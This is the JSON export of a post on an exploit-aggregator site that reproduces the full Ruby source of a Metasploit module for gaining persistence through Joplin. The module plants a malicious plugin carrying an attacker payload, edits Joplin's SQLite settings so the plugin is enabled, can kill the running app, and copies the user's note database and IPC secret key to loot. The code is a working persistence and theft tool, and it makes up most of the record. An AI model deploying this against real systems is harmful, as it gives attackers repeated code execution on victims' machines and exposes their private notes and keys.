{"id":64424,"date":"2026-06-19T15:44:05","date_gmt":"2026-06-19T15:44:05","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=64424"},"modified":"2026-06-19T15:44:05","modified_gmt":"2026-06-19T15:44:05","slug":"joplin-plugin-persistence","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=64424","title":{"rendered":"Joplin Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-JOPLIN_PLUGIN-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-19T19:36:59&#8243;,&#8221;description&#8221;:&#8221;This module installs a malicious Joplin plugin .jpl into the target&#8217;s Joplin plugin directory. The plugin executes the payload each time Joplin is launched, providing persistent code execution. Joplin can not be running at the time of plugin&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-19T19:03:23&#8243;,&#8221;modified&#8221;:&#8221;2026-06-19T19:03:23&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Joplin Plugin Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-PERSISTENCE-JOPLIN_PLUGIN-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;# frozen_string_literal: true\\n\\n##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nrequire &#8216;sqlite3&#8217;\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n  Rank = ExcellentRanking\\n\\n  include Msf::Post::File\\n  include Msf::Post::Unix # whoami\\n  include Msf::Auxiliary::Report\\n  include Msf::Exploit::Local::Persistence\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Joplin Plugin Persistence&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module installs a malicious Joplin plugin (.jpl) into the target&#8217;s\\n          Joplin plugin directory. The plugin executes the payload each time Joplin\\n          is launched, providing persistent code execution. Joplin can not\\n          be running at the time of plugin installation, or it will be overwriten\\n          at shutdown. The module can optionally kill Joplin if it is detected running.\\n\\n          Tested against Joplin 3.6.11 on Windows 10, 3.6.10 on Kali\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;h00die&#8217; # Module\\n        ],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2017-12-07&#8217;, # initial joplin release date\\n        &#8216;SessionTypes&#8217; =\\u003e [ &#8216;shell&#8217;, &#8216;meterpreter&#8217; ],\\n        &#8216;Privileged&#8217; =\\u003e false,\\n        &#8216;References&#8217; =\\u003e [\\n          [ &#8216;URL&#8217;, &#8216;https:\/\/joplinapp.org\/help\/api\/get_started\/plugins\/&#8217; ],\\n          [&#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],\\n          [&#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1176_SOFTWARE_EXTENSIONS]\\n        ],\\n        &#8216;Arch&#8217; =\\u003e [ARCH_CMD],\\n        &#8216;Platform&#8217; =\\u003e %w[linux windows],\\n        &#8216;Payload&#8217; =\\u003e {\\n          &#8216;Space&#8217; =\\u003e 8191,\\n          &#8216;DisableNops&#8217; =\\u003e true\\n        },\\n        &#8216;Targets&#8217; =\\u003e [\\n          [&#8216;Windows&#8217;, { &#8216;Platform&#8217; =\\u003e &#8216;windows&#8217; }], # set payload payload\/cmd\/windows\/powershell\/x64\/meterpreter\/reverse_tcp\\n          [&#8216;Linux&#8217;, { &#8216;Platform&#8217; =\\u003e %w[linux unix] }],\\n          # [&#8216;OSX&#8217;, { &#8216;Platform&#8217; =\\u003e %w[linux unix] }]\\n        ],\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n        },\\n        &#8216;DefaultTarget&#8217; =\\u003e 0\\n      )\\n    )\\n\\n    register_options([\\n      OptString.new(&#8216;NAME&#8217;, [false, &#8216;Name of the plugin&#8217;, &#8221;]),\\n      OptString.new(&#8216;DESCRIPTION&#8217;, [false, &#8216;Description of the plugin&#8217;, &#8221;]),\\n      OptString.new(&#8216;USER&#8217;, [false, &#8216;User to target, or current user if blank&#8217;, &#8221;]),\\n      OptString.new(&#8216;DATABASE&#8217;, [false, &#8216;Full path to Joplin database.sqlite on target (auto-detected if blank)&#8217;, &#8221;]),\\n      OptBool.new(&#8216;KILLJOPLIN&#8217;, [false, &#8216;Kill Joplin if it is running before modifying the database&#8217;, false])\\n    ])\\n    deregister_options(&#8216;WritableDir&#8217;)\\n  end\\n\\n  def plugin_name\\n    # memoized so manifest and install path always use the same name\\n    @plugin_name ||= if datastore[&#8216;NAME&#8217;].blank?\\n                       rand_text_alphanumeric(4..10)\\n                     else\\n                       datastore[&#8216;NAME&#8217;]\\n                     end\\n  end\\n\\n  def plugin_id\\n    @plugin_id ||= \\&#8221;com.#{rand_text_alpha(4..8).downcase}.#{plugin_name}\\&#8221;\\n  end\\n\\n  def manifest\\n    {\\n      &#8216;manifest_version&#8217; =\\u003e 1,\\n      &#8216;id&#8217; =\\u003e plugin_id,\\n      &#8216;app_min_version&#8217; =\\u003e &#8216;3.2&#8217;,\\n      &#8216;version&#8217; =\\u003e &#8216;1.0.0&#8217;,\\n      &#8216;name&#8217; =\\u003e plugin_name,\\n      &#8216;description&#8217; =\\u003e datastore[&#8216;DESCRIPTION&#8217;].blank? ? &#8221; : datastore[&#8216;DESCRIPTION&#8217;],\\n      &#8216;author&#8217; =\\u003e &#8221;,\\n      &#8216;homepage_url&#8217; =\\u003e &#8221;,\\n      &#8216;repository_url&#8217; =\\u003e &#8221;,\\n      &#8216;keywords&#8217; =\\u003e [],\\n      &#8216;categories&#8217; =\\u003e [],\\n      &#8216;screenshots&#8217; =\\u003e [],\\n      &#8216;icons&#8217; =\\u003e {},\\n      &#8216;promo_tile&#8217; =\\u003e {}\\n    }.to_json\\n  end\\n\\n  def index_js\\n    ::File.read(::File.join(Msf::Config.data_directory, &#8216;exploits&#8217;, &#8216;joplin_plugin&#8217;, &#8216;index.js.template&#8217;))\\n  end\\n\\n  def create_plugin_tar(pload)\\n    tar = StringIO.new\\n    Rex::Tar::Writer.new(tar) do |t|\\n      t.add_file(&#8216;manifest.json&#8217;, 0o644) do |f|\\n        f.write(manifest)\\n      end\\n      t.add_file(&#8216;index.js&#8217;, 0o644) do |f|\\n        f.write(index_js)\\n      end\\n      t.add_file(&#8216;external&#8217;, 0o644) do |f|\\n        f.write([pload].pack(&#8216;m0&#8217;))\\n      end\\n    end\\n    tar.seek(0)\\n    data = tar.read\\n    tar.close\\n    data\\n  end\\n\\n  def target_user\\n    return datastore[&#8216;USER&#8217;] unless datastore[&#8216;USER&#8217;].blank?\\n\\n    return create_process(&#8216;cmd.exe&#8217;, args: [&#8216;\/c&#8217;, &#8216;echo&#8217;, &#8216;%USERNAME%&#8217;]).strip if [&#8216;windows&#8217;, &#8216;win&#8217;].include? session.platform\\n\\n    whoami\\n  end\\n\\n  def joplin_base_dirs\\n    user = target_user\\n    vprint_status(\\&#8221;Target user: #{user}\\&#8221;)\\n\\n    case session.platform\\n    when &#8216;windows&#8217;, &#8216;win&#8217;\\n      [\\n        \\&#8221;C:\\\\\\\\Users\\\\\\\\#{user}\\\\\\\\.config\\\\\\\\joplin-desktop\\&#8221;,\\n        \\&#8221;C:\\\\\\\\Users\\\\\\\\#{user}\\\\\\\\.config\\\\\\\\joplin\\&#8221;,\\n        \\&#8221;C:\\\\\\\\Users\\\\\\\\#{user}\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\joplin\\&#8221;,\\n        \\&#8221;C:\\\\\\\\Users\\\\\\\\#{user}\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\joplin-desktop\\&#8221;\\n      ]\\n    # when &#8216;osx&#8217;\\n    #  [\\n    #    \\&#8221;\/Users\/#{user}\/Library\/Application Support\/joplin\\&#8221;,\\n    #    \\&#8221;\/Users\/#{user}\/Library\/Application Support\/joplin-desktop\\&#8221;\\n    #  ]\\n    else # linux\\n      home = user == &#8216;root&#8217; ? &#8216;\/root&#8217; : \\&#8221;\/home\/#{user}\\&#8221;\\n      [\\n        \\&#8221;#{home}\/.config\/joplin\\&#8221;,\\n        \\&#8221;#{home}\/.config\/joplin-desktop\\&#8221;,\\n        \\&#8221;#{home}\/snap\/joplin-desktop\/current\/.config\/joplin-desktop\\&#8221;\\n      ]\\n    end\\n  end\\n\\n  def check\\n    joplin_base_dirs.each do |dir|\\n      return CheckCode::Appears(\\&#8221;Joplin installation found: #{dir}\\&#8221;) if directory?(dir)\\n    end\\n\\n    CheckCode::Safe(&#8216;No Joplin installation found&#8217;)\\n  end\\n\\n  def windows?\\n    [&#8216;windows&#8217;, &#8216;win&#8217;].include?(session.platform)\\n  end\\n\\n  def joplin_running?\\n    if windows?\\n      !create_process(&#8216;powershell&#8217;, args: [&#8216;-Command&#8217;, &#8216;Get-Process -Name Joplin* -ErrorAction SilentlyContinue&#8217;]).strip.empty?\\n    else\\n      !create_process(&#8216;pgrep&#8217;, args: [&#8216;-i&#8217;, &#8216;joplin&#8217;]).strip.empty?\\n    end\\n  end\\n\\n  def kill_joplin\\n    if windows?\\n      create_process(&#8216;powershell&#8217;, args: [&#8216;-Command&#8217;, &#8216;Stop-Process -Name Joplin -Force -ErrorAction SilentlyContinue&#8217;])\\n    else\\n      create_process(&#8216;pkill&#8217;, args: [&#8216;-i&#8217;, &#8216;joplin&#8217;])\\n    end\\n    Rex.sleep(2)\\n    if joplin_running?\\n      print_warning(&#8216;Joplin is still running after kill attempt&#8217;)\\n      return false\\n    end\\n    print_good(&#8216;Joplin killed successfully&#8217;)\\n    true\\n  end\\n\\n  def find_joplin_database\\n    user = target_user\\n    print_status(&#8216;Searching for Joplin database&#8230;&#8217;)\\n\\n    if session.type == &#8216;meterpreter&#8217; \\u0026\\u0026 windows?\\n      search_root = \\&#8221;C:\\\\\\\\Users\\\\\\\\#{user}\\&#8221;\\n      begin\\n        results = session.fs.file.search(search_root, &#8216;database.sqlite&#8217;, true)\\n        results.each do |r|\\n          path = \\&#8221;#{r[&#8216;path&#8217;]}\\\\\\\\#{r[&#8216;name&#8217;]}\\&#8221;\\n          vprint_status(\\&#8221;  Found: #{path}\\&#8221;)\\n          return path if path.downcase.include?(&#8216;joplin&#8217;)\\n        end\\n      rescue Rex::Post::Meterpreter::RequestError =\\u003e e\\n        print_warning(\\&#8221;Meterpreter file search failed: #{e.message}\\&#8221;)\\n      end\\n      return nil\\n    end\\n\\n    # Shell session fallback\\n    if windows?\\n      results = create_process(&#8216;powershell&#8217;, args: [&#8216;-Command&#8217;, \\&#8221;Get-ChildItem -Path &#8216;C:\\\\\\\\Users\\\\\\\\#{user}&#8217; -Recurse -Filter &#8216;database.sqlite&#8217; -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName\\&#8221;]).strip\\n    else\\n      home = user == &#8216;root&#8217; ? &#8216;\/root&#8217; : \\&#8221;\/home\/#{user}\\&#8221;\\n      results = create_process(&#8216;find&#8217;, args: [home, &#8216;-name&#8217;, &#8216;database.sqlite&#8217;]).strip\\n    end\\n\\n    results.lines.each do |path|\\n      path = path.strip\\n      next if path.empty?\\n\\n      vprint_status(\\&#8221;  Found: #{path}\\&#8221;)\\n      return path if path.downcase.include?(&#8216;joplin&#8217;)\\n    end\\n\\n    nil\\n  end\\n\\n  def register_plugin(base_dir, plugin_id)\\n    sep = windows? ? &#8216;\\\\\\\\&#8217; : &#8216;\/&#8217;\\n\\n    db_path = if datastore[&#8216;DATABASE&#8217;].present?\\n                datastore[&#8216;DATABASE&#8217;]\\n              else\\n                \\&#8221;#{base_dir}#{sep}database.sqlite\\&#8221;\\n              end\\n\\n    unless file?(db_path)\\n      print_warning(\\&#8221;Joplin database not found at: #{db_path}\\&#8221;)\\n      db_path = find_joplin_database\\n      if db_path.nil?\\n        print_warning(&#8216;Set DATABASE to the correct path and re-run, or enable the plugin manually via Tools \\u003e Plugins&#8217;)\\n        return\\n      end\\n      print_good(\\&#8221;Found database at: #{db_path}\\&#8221;)\\n    end\\n\\n    print_status(&#8216;Downloading Joplin database&#8230;&#8217;)\\n    db_data = read_file(db_path)\\n\\n    loot_path = store_loot(\\n      &#8216;joplin.database&#8217;,\\n      &#8216;application\/x-sqlite3&#8217;,\\n      session.session_host,\\n      db_data,\\n      &#8216;database.sqlite&#8217;,\\n      &#8216;Joplin SQLite database&#8217;\\n    )\\n    print_good(\\&#8221;Database saved to loot: #{loot_path}\\&#8221;)\\n\\n    begin\\n      db = SQLite3::Database.new(loot_path)\\n\\n      # Load all rows in Ruby and filter client-side: the unique index can become\\n      # corrupted (orphaned rows not tracked by the index), causing INSERT OR REPLACE\\n      # to miss stale entries. Joplin does a full table scan on startup and crashes\\n      # if it finds two rows with the same key.\\n      all_rows = db.execute(&#8216;SELECT rowid, key, value FROM settings&#8217;)\\n      existing = all_rows.select { |r| r[1] == &#8216;plugins.states&#8217; }\\n      vprint_status(\\&#8221;Found #{existing.length} existing plugins.states row(s)\\&#8221;)\\n\\n      states = {}\\n      if existing.any?\\n        begin\\n          states = JSON.parse(existing.first[2])\\n        rescue JSON::ParserError =\\u003e e\\n          print_warning(\\&#8221;Could not parse existing plugins.states: #{e.message}\\&#8221;)\\n        end\\n        existing.each { |row| db.execute(&#8216;DELETE FROM settings WHERE rowid=?&#8217;, [row[0]]) }\\n      end\\n\\n      states[plugin_id] = { &#8216;enabled&#8217; =\\u003e true, &#8216;deleted&#8217; =\\u003e false, &#8216;hasBeenUpdated&#8217; =\\u003e false }\\n      new_json = JSON.generate(states)\\n      tbl = Rex::Text::Table.new(\\n        &#8216;Header&#8217; =\\u003e &#8216;Joplin Plugin States&#8217;,\\n        &#8216;Indent&#8217; =\\u003e 4,\\n        &#8216;Columns&#8217; =\\u003e [&#8216;Plugin ID&#8217;, &#8216;Enabled&#8217;, &#8216;Deleted&#8217;, &#8216;Has Been Updated&#8217;]\\n      )\\n      states.each { |id, s| tbl \\u003c\\u003c [id, s[&#8216;enabled&#8217;], s[&#8216;deleted&#8217;], s[&#8216;hasBeenUpdated&#8217;]] }\\n      print_line(tbl.to_s)\\n      # Use a SQL literal for the key: the sqlite3 gem binds Ruby string parameters\\n      # as BLOB in MSF&#8217;s encoding context, but Joplin queries with WHERE key=&#8217;plugins.states&#8217;\\n      # (TEXT literal), which never matches a BLOB \u2014 the plugin would be invisible.\\n      db.execute(\\&#8221;INSERT INTO settings (key, value) VALUES (&#8216;plugins.states&#8217;, ?)\\&#8221;, [new_json])\\n      db.close\\n    rescue LoadError\\n      print_warning(&#8216;sqlite3 gem not available \u2014 enable the plugin manually via Tools \\u003e Plugins&#8217;)\\n      return\\n    rescue SQLite3::Exception =\\u003e e\\n      print_warning(\\&#8221;Failed to modify database: #{e.message}\\&#8221;)\\n      return\\n    end\\n\\n    print_status(&#8216;Re-uploading modified database&#8230;&#8217;)\\n    write_file(db_path, ::File.binread(loot_path))\\n\\n    [&#8216;-wal&#8217;, &#8216;-shm&#8217;].each do |ext|\\n      wal = \\&#8221;#{db_path}#{ext}\\&#8221;\\n      next unless file?(wal)\\n\\n      print_status(\\&#8221;Removing #{ext} file to prevent WAL replay: #{wal}\\&#8221;)\\n      rm_f(wal)\\n    end\\n\\n    print_good(&#8216;Plugin registered in Joplin database&#8217;)\\n    [loot_path, db_path]\\n  end\\n\\n  def loot_ipc_key(base_dir)\\n    sep = windows? ? &#8216;\\\\\\\\&#8217; : &#8216;\/&#8217;\\n    key_path = \\&#8221;#{base_dir}#{sep}ipc_secret_key.txt\\&#8221;\\n    unless file?(key_path)\\n      print_warning(\\&#8221;ipc_secret_key.txt not found at #{key_path}\\&#8221;)\\n      return\\n    end\\n    key_data = read_file(key_path)\\n    loot_path = store_loot(\\n      &#8216;joplin.ipc_secret_key&#8217;,\\n      &#8216;text\/plain&#8217;,\\n      session.session_host,\\n      key_data,\\n      &#8216;ipc_secret_key.txt&#8217;,\\n      &#8216;Joplin IPC secret key&#8217;\\n    )\\n    print_good(\\&#8221;IPC secret key saved to loot: #{loot_path}\\&#8221;)\\n  end\\n\\n  def install_persistence\\n    print_status(\\&#8221;Using plugin name: #{plugin_id}\\&#8221;)\\n\\n    base_dir = joplin_base_dirs.find { |dir| directory?(dir) }\\n    fail_with(Failure::NotFound, &#8216;No Joplin installation found&#8217;) if base_dir.nil?\\n\\n    loot_ipc_key(base_dir)\\n\\n    sep = windows? ? &#8216;\\\\\\\\&#8217; : &#8216;\/&#8217;\\n    plugin_dir = \\&#8221;#{base_dir}#{sep}plugins\\&#8221;\\n    plugin_path = \\&#8221;#{plugin_dir}#{sep}#{plugin_id}.jpl\\&#8221;\\n\\n    unless directory?(plugin_dir)\\n      print_status(\\&#8221;Creating plugins directory: #{plugin_dir}\\&#8221;)\\n      mkdir(plugin_dir, cleanup: false)\\n    end\\n\\n    jpl_data = create_plugin_tar(payload.encoded)\\n    print_status(\\&#8221;Writing plugin to: #{plugin_path} (#{jpl_data.length} bytes)\\&#8221;)\\n    write_file(plugin_path, jpl_data)\\n\\n    # Verify AV did not immediately quarantine\/delete the file\\n    if file?(plugin_path)\\n      print_good(\\&#8221;Plugin written to #{plugin_path}\\&#8221;)\\n    else\\n      print_warning(\\&#8221;Plugin file missing after write \u2014 may have been quarantined by AV: #{plugin_path}\\&#8221;)\\n    end\\n\\n    if joplin_running?\\n      if datastore[&#8216;KILLJOPLIN&#8217;]\\n        print_status(&#8216;Joplin is running \u2014 killing it before modifying the database&#8230;&#8217;)\\n        if kill_joplin\\n          result = register_plugin(base_dir, plugin_id)\\n        else\\n          print_warning(&#8216;Could not kill Joplin \u2014 skipping database registration.&#8217;)\\n          print_warning(&#8216;Close Joplin manually and re-run this module so the plugin registration persists.&#8217;)\\n          result = nil\\n        end\\n      else\\n        print_warning(&#8216;Joplin is currently running \u2014 the database modification will be overwritten when Joplin closes.&#8217;)\\n        print_warning(&#8216;Close Joplin completely and re-run this module, or set KILLJOPLIN true to kill it automatically.&#8217;)\\n        print_warning(&#8216;The .jpl file has been written; only the database registration step will be skipped.&#8217;)\\n        result = nil\\n      end\\n    else\\n      result = register_plugin(base_dir, plugin_id)\\n    end\\n\\n    if windows?\\n      @clean_up_rc \\u003c\\u003c \\&#8221;del \/f \\\\\\&#8221;#{plugin_path}\\\\\\&#8221;\\\\n\\&#8221;\\n    else\\n      @clean_up_rc \\u003c\\u003c \\&#8221;rm -f \\\\\\&#8221;#{plugin_path}\\\\\\&#8221;\\\\n\\&#8221;\\n    end\\n\\n    if result\\n      original_db_loot, db_path = result\\n      @clean_up_rc \\u003c\\u003c \\&#8221;upload #{original_db_loot} #{db_path}\\\\n\\&#8221;\\n    end\\n\\n    if result\\n      print_status(&#8216;Joplin is not running \u2014 launch it to trigger the plugin&#8217;)\\n    end\\n    print_status(\\&#8221;If the payload does not execute, check log files in #{base_dir} for plugin errors\\&#8221;)\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/persistence\/joplin_plugin.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/persistence\/joplin_plugin\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-19T19:36:59&#8243;,&#8221;description&#8221;:&#8221;This module installs a malicious Joplin plugin .jpl into the target&#8217;s Joplin plugin directory. The plugin executes the payload each time Joplin is launched, providing&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-64424","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Joplin Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-JOPLIN_PLUGIN- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=64424\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Joplin Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-JOPLIN_PLUGIN- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-19T19:36:59&#8243;,&#8221;description&#8221;:&#8221;This module installs a malicious Joplin plugin .jpl into the target&#8217;s Joplin plugin directory. The plugin executes the payload each time Joplin is launched, providing...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=64424\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-19T15:44:05+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64424#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64424\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Joplin Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-JOPLIN_PLUGIN-\",\"datePublished\":\"2026-06-19T15:44:05+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64424\"},\"wordCount\":2286,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=64424#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64424\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64424\",\"name\":\"Joplin Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-JOPLIN_PLUGIN- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-19T15:44:05+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64424#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=64424\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64424#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Joplin Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-JOPLIN_PLUGIN-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Joplin Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-JOPLIN_PLUGIN- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=64424","og_locale":"en_US","og_type":"article","og_title":"Joplin Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-JOPLIN_PLUGIN- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-19T19:36:59&#8243;,&#8221;description&#8221;:&#8221;This module installs a malicious Joplin plugin .jpl into the target&#8217;s Joplin plugin directory. The plugin executes the payload each time Joplin is launched, 